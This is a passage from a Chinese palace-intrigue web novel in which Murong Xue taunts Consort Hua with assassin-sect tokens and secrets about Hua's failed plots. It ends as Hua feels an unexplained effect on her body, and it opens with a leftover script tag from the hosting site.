<script src="https://img.zhaozhi.us/pc/pc.js?v=2022"/>
“哼,本宫不知道你说的是什么?”
彼时的华妃,知道说什么都是苍白无力的,所以她选择了最可笑的否定方式,来逃避所谓的责任。
只是,这事儿,是她不承认就能行的?
“没关系,你不承认也无所谓,反正,事情既然走到今天这个地步,再去追究谁对谁错,已经没了根本的意义,”
慕容雪的目光太过清澈,让华妃无法直视,冷冷的别过了脸,不愿去面对。
“喔唷!你是不是还在等着聖冥、流云宗、修罗门、玥宫等四大势力来刺杀我们兄妹两个呢?”
慕容雪语不惊人死不休的杀出这么一句话,让原本自我安慰的华妃霎那间跌倒了冰窟窿。
“你……连这个都知道?”
慕容雪多想像原著小说写的那样,将她自己创办的组织令牌砸到华妃面前,好好的嘚瑟嘚瑟,可是吧?
这辈子没人家原著利的女主那么能折腾,但谁让她碰上的两个男人,对她又死心塌地的好呢?
“喏,来帮我瞧瞧这两块儿令牌是什么?”
慕容雪拿出一枚用蓝色冰玉做成的滴水令牌,递到了她的面前。
说起来,华妃虽然久居深宫,可因为白家神通广大,连带着她也见多识广,所以只需定睛一看,就已经看出这令牌代表了什么,顿时死的心都有了,然转念一想,又觉得不对劲。
“你以为随随便便扔过来一个令牌,就能装大尾巴狼了?”
慕容雪见她不相信,也没觉得稀罕,毕竟白家可是来自外大陆呢,见多识广的能人还是不少的。
不过,她还是笑着将另一块黑色带骷髅黑玉令,推到了她的面前。
刚开始华妃没有认出来,但是令牌一翻,大大的修罗二字,让她的瞳孔瞬间一震。
“这,这是……修罗门的令牌?你竟然是修罗门的人?大胆,你一个毛都没长齐的死丫头,敢在这儿戏弄本宫?”
“这怎么就成戏弄你的了?你要不识货,非要这么说的话,我也只能呵呵你一脸。不过,左修罗,右聖冥,你挖苦心思的要害我们,出了钱,却发现我们没有想象中的那么好对付,真以为是他们几个组织忙,抽不出空执行任务?”
“哈,那都是搪塞你们的场面话,再忙杀两个人的时间总还是有的吧?再忙,也不可能所有的组织都没时间吧?其实那晚我们遇刺,只能算是流云宗的一个意外,后来人家反应过来,及时止损呢,虽然到现在我都不明白,为什么流云宗会突然收手,但我想说的是,坏人早晚会受到应有的报应,就比如你。”
“你还记得当年派去追杀我的那兄弟几个吗?呵呵,想来您贵人多忘事早就忘了他们吧?很不好意思的告诉你,他们弃暗投明了哟,白家的一些辛密之事儿,也多亏他们吐出来,”
慕容雪冷笑的注视着华妃脸上的血色一点点褪.去,又一点点回笼,就好像崩溃之后,又想到了什么,精神瞬间兴奋。
“白家可没你想象中的那么好控制,我告诉你,趁早放了他们,否则事情绝对会往你们难以想象的方向发展!”
华妃当然不愿意承认,她精心筹谋一生的基业,会被她这个不知天高地厚的野丫头毁于一旦。
慌乱之后,很快就又恢复了神志,首先她绝对不能相信,江湖上赫赫有名的这些组织,会和这个小丫头车上关系,更不愿承认她随便拿出来的令牌就代表了人家,糊弄小孩子的把戏罢了,她一个成年人怎能被她三言两语的几句话绕进去?
所以华妃的表情变化落在慕容雪的眼里时,她不但不慌,还有心情逗她玩儿。
“从你的表情里,我看出了你的怀疑。哎呀,真是不好意思,刚刚忘记告诉你,月把前,流云宗的青龙和玄武还专门跑过来拉拢聖冥、修罗和玥宫三大组织,要让他们放弃你白族下的这条追杀令呢,甚至还愿付出两倍的价格保我们,奇怪吧?我也很奇怪,真的不是装的,到现在我都不明白为什么流云宗为何会对我们示好!”
“但不管对方的目的是什么,起码对我们兄妹而言,是百利而无一害,要不然为什么这么多门派,选择一致对白?我觉得一定是你们白氏作恶多端的结果。”
“你以为你这么说我会相信?”华妃不屑的冷笑,似乎在洗脑自己,不要被这个女人给蛊惑了。
慕容雪清澈的眸子眨啊眨啊眨的,合着她浪费吐沫星子这么半天,人家选择性的忽视过去了?
那怎么能行?
“你们白家不是神通广大吗?那你在没有确定我娘是谁的情况下,就敢对她下蛊,是不是有些草率了?”
华妃听着这话,总觉得哪儿不对劲,却又说不上来,哪儿不对劲,她当年的确调查过姓蓝的那个贱人,可是和这个小丫头一样,什么都查不出来,如今这丫头一次又一次的在她面前重提那个女人,难道……
“她还活着?”
一想到这个可能,华妃脚下一个踉跄,差点滑倒,还好及时抓住了一旁的梅树。
不,不对,如果还活着,怎么可能这么些年没有来找她?如果她真是有背景的,那更不可能沉默这么久。
这个丫头片子,还真不是一般的能糊弄人,她又差点被她绕进去。
“小丫头,奉劝你一句,别太狂,也别吹牛吹过了头,有些实力,不是你装装就有的,怎么着我也在后宫混了这么多年了,你以为随便几句话,就能代表你身世不凡了?”
慕容雪撇撇嘴,冲着她摇了下头:“错,我之所以在你这儿又是吹牛又是攻心的,其实只有一个目的……”
在华妃配合的朝她看过来的时候,慕容雪呲牙一笑:“三、二、一!”
刚开始华妃还不明白什么意思,等她感觉到身体的变化时,蓦地抬头瞪眼:“你对我做了什么?”